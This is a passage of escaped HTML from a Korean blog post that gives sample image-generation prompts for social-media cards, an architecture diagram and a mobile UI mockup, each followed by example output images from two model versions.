srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FluYxD%2FdJMcadBKuCx%2F1aErTaK64em0JpXpoJQMR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WLLnQ/dJMcaaZoKbg/6W2HzcVGtJ0D65aeKxKkLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WLLnQ/dJMcaaZoKbg/6W2HzcVGtJ0D65aeKxKkLK/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WLLnQ/dJMcaaZoKbg/6W2HzcVGtJ0D65aeKxKkLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWLLnQ%2FdJMcaaZoKbg%2F6W2HzcVGtJ0D65aeKxKkLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t9IzW/dJMcaf0GUV7/FHKdTfeKx7ad4TZpxDpiK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t9IzW/dJMcaf0GUV7/FHKdTfeKx7ad4TZpxDpiK0/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t9IzW/dJMcaf0GUV7/FHKdTfeKx7ad4TZpxDpiK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft9IzW%2FdJMcaf0GUV7%2FFHKdTfeKx7ad4TZpxDpiK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XL9JP/dJMcagSRUXJ/BCNiby5mueNzch0dt2k9r0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XL9JP/dJMcagSRUXJ/BCNiby5mueNzch0dt2k9r0/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XL9JP/dJMcagSRUXJ/BCNiby5mueNzch0dt2k9r0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXL9JP%2FdJMcagSRUXJ%2FBCNiby5mueNzch0dt2k9r0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctl1Ac/dJMcaaLTaGR/4V3HXJ2ZEL2kR2lLkYLX9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctl1Ac/dJMcaaLTaGR/4V3HXJ2ZEL2kR2lLkYLX9K/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctl1Ac/dJMcaaLTaGR/4V3HXJ2ZEL2kR2lLkYLX9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fctl1Ac%2FdJMcaaLTaGR%2F4V3HXJ2ZEL2kR2lLkYLX9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmXuF7/dJMcaaSE8Iv/r4YBcPlKGVhkNeOJcvi680/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmXuF7/dJMcaaSE8Iv/r4YBcPlKGVhkNeOJcvi680/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmXuF7/dJMcaaSE8Iv/r4YBcPlKGVhkNeOJcvi680/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmXuF7%2FdJMcaaSE8Iv%2Fr4YBcPlKGVhkNeOJcvi680%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbRmrv/dJMcabYktWw/AaHiXyGC72wnl9FZ4RNII0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbRmrv/dJMcabYktWw/AaHiXyGC72wnl9FZ4RNII0/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;1491&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbRmrv/dJMcabYktWw/AaHiXyGC72wnl9FZ4RNII0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbRmrv%2FdJMcabYktWw%2FAaHiXyGC72wnl9FZ4RNII0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;1491&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;X(트위터)용 기술 팁 카드:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;X(트위터) 포스트용 기술 팁 카드 이미지 만들어줘.

비율: 1:1 정사각형
배경: 진한 보라색(#3b1e6e) 그라디언트
상단: 작은 카테고리 태그 [#AI #개발] (작게)
중앙: 핵심 팁 텍스트 [Claude Code의 /resume 명령으로 어제 작업을 그대로 이어가자] (한국어, 크고 굵게)
하단: 계정명 [@goddaehee] (작게)
스타일: 미니멀, 현대적, 여백 충분히&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oMlgl/dJMcaipB2y6/CVh2uOIKGiRmWk7TVKrgr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oMlgl/dJMcaipB2y6/CVh2uOIKGiRmWk7TVKrgr1/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;1254&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oMlgl/dJMcaipB2y6/CVh2uOIKGiRmWk7TVKrgr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoMlgl%2FdJMcaipB2y6%2FCVh2uOIKGiRmWk7TVKrgr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1254&quot; height=&quot;1254&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ehQhW3/dJMcadIyuYv/zt5gMKFfY1aTTBKM6Aw2V1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ehQhW3/dJMcadIyuYv/zt5gMKFfY1aTTBKM6Aw2V1/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;1254&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ehQhW3/dJMcadIyuYv/zt5gMKFfY1aTTBKM6Aw2V1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FehQhW3%2FdJMcadIyuYv%2Fzt5gMKFfY1aTTBKM6Aw2V1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1254&quot; height=&quot;1254&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Threads용 인용 카드:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Threads 공유용 인용 카드 이미지 만들어줘.

비율: 1:1
배경: 크림색(#faf6ef)
중앙 상단: 대형 따옴표 기호(연한 회색)
중앙: 인용 문구 [코드를 짜기 전에, 프롬프트부터 정리하라] (한국어)
하단 우측: 출처 [&amp;mdash; 갓대희]
스타일: 깔끔한 타이포그래피 중심, 장식 최소화&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ep5YoQ/dJMcaffoenJ/MqZwnw9zfOSU28pc0L8no1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ep5YoQ/dJMcaffoenJ/MqZwnw9zfOSU28pc0L8no1/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;1254&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ep5YoQ/dJMcaffoenJ/MqZwnw9zfOSU28pc0L8no1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fep5YoQ%2FdJMcaffoenJ%2FMqZwnw9zfOSU28pc0L8no1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1254&quot; height=&quot;1254&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MRUa8/dJMcaiC7OIm/sZMRwxkGWVz1p5TFqJ64E0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MRUa8/dJMcaiC7OIm/sZMRwxkGWVz1p5TFqJ64E0/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;1254&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MRUa8/dJMcaiC7OIm/sZMRwxkGWVz1p5TFqJ64E0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMRUa8%2FdJMcaiC7OIm%2FsZMRwxkGWVz1p5TFqJ64E0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1254&quot; height=&quot;1254&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Reddit 포스트용 비교형 이미지:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Reddit r/programming 포스트용 비교 이미지 만들어줘.

비율: 16:9
상단: 영어 제목 [Before vs After: Claude Code 도입 30일]
중앙: 2열 비교표
  좌측 열 헤더: Before (회색 배경)
  우측 열 헤더: After (초록 배경)
  각 열에 5개 항목
배경: 라이트 테마(흰색)
폰트: 가독성 높은 산세리프&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Bk5ce/dJMcaib59R7/h7PzJwE6z1ykVxhIhgHWJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Bk5ce/dJMcaib59R7/h7PzJwE6z1ykVxhIhgHWJk/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Bk5ce/dJMcaib59R7/h7PzJwE6z1ykVxhIhgHWJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBk5ce%2FdJMcaib59R7%2Fh7PzJwE6z1ykVxhIhgHWJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s5J9W/dJMcacXdbbH/smU3Jz7FhiZ5KQePcWu26k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s5J9W/dJMcacXdbbH/smU3Jz7FhiZ5KQePcWu26k/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;941&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s5J9W/dJMcacXdbbH/smU3Jz7FhiZ5KQePcWu26k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs5J9W%2FdJMcacXdbbH%2FsmU3Jz7FhiZ5KQePcWu26k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플랫폼별로 비율을 다르게 두는 이유도 분명하다. X와 Threads는 모바일 타임라인에서 정사각형이 잘 보이고, Instagram 카드뉴스는 4:5가 무난하며, Reddit은 데스크톱 사용자가 많아 가로형이 잘 읽힌다. 프롬프트에 플랫폼명과 비율을 함께 넣어두면 모델이 분위기까지 그쪽에 맞춰준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-3. 기술 다이어그램 / 아키텍처&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;언제 쓰는가.&lt;/b&gt; 시스템 구조, 데이터 흐름, 컴포넌트 관계를 시각화할 때다. 블로그 본문 중간에 이해를 돕는 그림으로 자주 쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 작성 핵심 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다이어그램 유형을 명시한다(플로우차트, 시퀀스, 아키텍처, 마인드맵)&lt;/li&gt;
&lt;li&gt;구성 요소와 화살표 흐름을 문장으로 풀어 쓴다&lt;/li&gt;
&lt;li&gt;박스 모양과 색상 톤을 지정한다&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;마이크로서비스 아키텍처 다이어그램 이미지 만들어줘.

유형: 아키텍처 다이어그램
배경: 흰색
구성:
  상단 &amp;mdash; 클라이언트 영역(모바일 아이콘 + 웹 브라우저 아이콘)
  중앙 &amp;mdash; API Gateway(가운데 큰 박스)
  하단 &amp;mdash; 3개 서비스 박스 병렬 배치(User Service / Order Service / Payment Service)
  각 서비스 아래 &amp;mdash; 개별 데이터베이스 아이콘(원통형) 연결
화살표: 클라이언트 &amp;rarr; Gateway &amp;rarr; 각 서비스 &amp;rarr; DB 흐름 표시
박스 스타일: 둥근 모서리, 옅은 파랑 채움, 짙은 파랑 테두리
화살표: 회색
레이블: 한국어&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다이어그램은 글로 적은 흐름을 모델이 좌표로 옮기는 작업이라 &lt;b&gt;위치 표현(상단, 중앙, 하단, 좌측, 우측)&lt;/b&gt;이 결과에 큰 영향을 준다. &quot;병렬 배치&quot;, &quot;트리 구조&quot;, &quot;원형 배치&quot; 같은 형태 키워드도 잘 먹힌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Cz5iW/dJMcabRxBEk/Hu18L2ksQiWevQNTSKYqfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Cz5iW/dJMcabRxBEk/Hu18L2ksQiWevQNTSKYqfk/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;1086&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Cz5iW/dJMcabRxBEk/Hu18L2ksQiWevQNTSKYqfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCz5iW%2FdJMcabRxBEk%2FHu18L2ksQiWevQNTSKYqfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1448&quot; height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wowO5/dJMcaipB2Aj/NWkIZRgnSKpLf5UB0SkWzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wowO5/dJMcaipB2Aj/NWkIZRgnSKpLf5UB0SkWzk/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;1086&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wowO5/dJMcaipB2Aj/NWkIZRgnSKpLf5UB0SkWzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwowO5%2FdJMcaipB2Aj%2FNWkIZRgnSKpLf5UB0SkWzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1448&quot; height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;thinking모델 5.5 / pro 모델 5.5&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-4. UI 목업 / 와이어프레임&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;언제 쓰는가.&lt;/b&gt; 앱이나 웹 화면 시안을 빠르게 만들 때다. 기획안 첨부, 블로그 설명용 가짜 화면, 발표 자료에 자주 쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 작성 핵심 포인트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디바이스 프레임을 명시한다(iPhone 14 Pro, 안드로이드, 1440px 데스크톱 등)&lt;/li&gt;
&lt;li&gt;UI 영역을 헤더/콘텐츠/푸터로 나눠 설명한다&lt;/li&gt;
&lt;li&gt;컬러 테마를 결정한다(라이트/다크, 포인트 컬러)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;모바일 앱 목업:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 16px 20px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;iPhone 14 Pro 프레임 안의 할 일 관리 앱 UI 목업 이미지 만들어줘.

상단 헤더: [오늘의 할 일] 타이틀 + 작은 날짜 텍스트
중앙: 카드형 할 일 목록 5개. 각 카드는 [체크박스 + 할 일 텍스트 + 우선순위 태그]
하단 탭바: 3개 탭 [홈 / 캘린더 / 설정], 가운데 [+] 플로팅 버튼
테마: 라이트
포인트 컬러: 파란색
한국어 텍스트&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dMzbju/dJMcadhwT5Q/JqCGXzTjzn0ofxe4Sx42Kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dMzbju/dJMcadhwT5Q/JqCGXzTjzn0ofxe4Sx42Kk/img.png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;1672&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dMzbju/dJMcadhwT5Q/JqCGXzTjzn0ofxe4Sx42Kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdMzbju%2FdJMcadhwT5Q%2FJqCGXzTjzn0ofxe4Sx42Kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;1672&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GYg4l/dJMcag6oHG0/MaHVKLz3nD21DsF7Zxlbyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GYg4l/dJMcag6oHG0/MaHVKLz3nD21DsF7Zxlbyk/img.png&quot; style=&quot;width: 49.4186%;&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;1672&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GYg4l/dJMcag6oHG0/MaHVKLz3nD21DsF7Zxlbyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGYg4l%2FdJMcag6oHG0%2FMaHVKLz3nD21DsF7Zxlbyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; 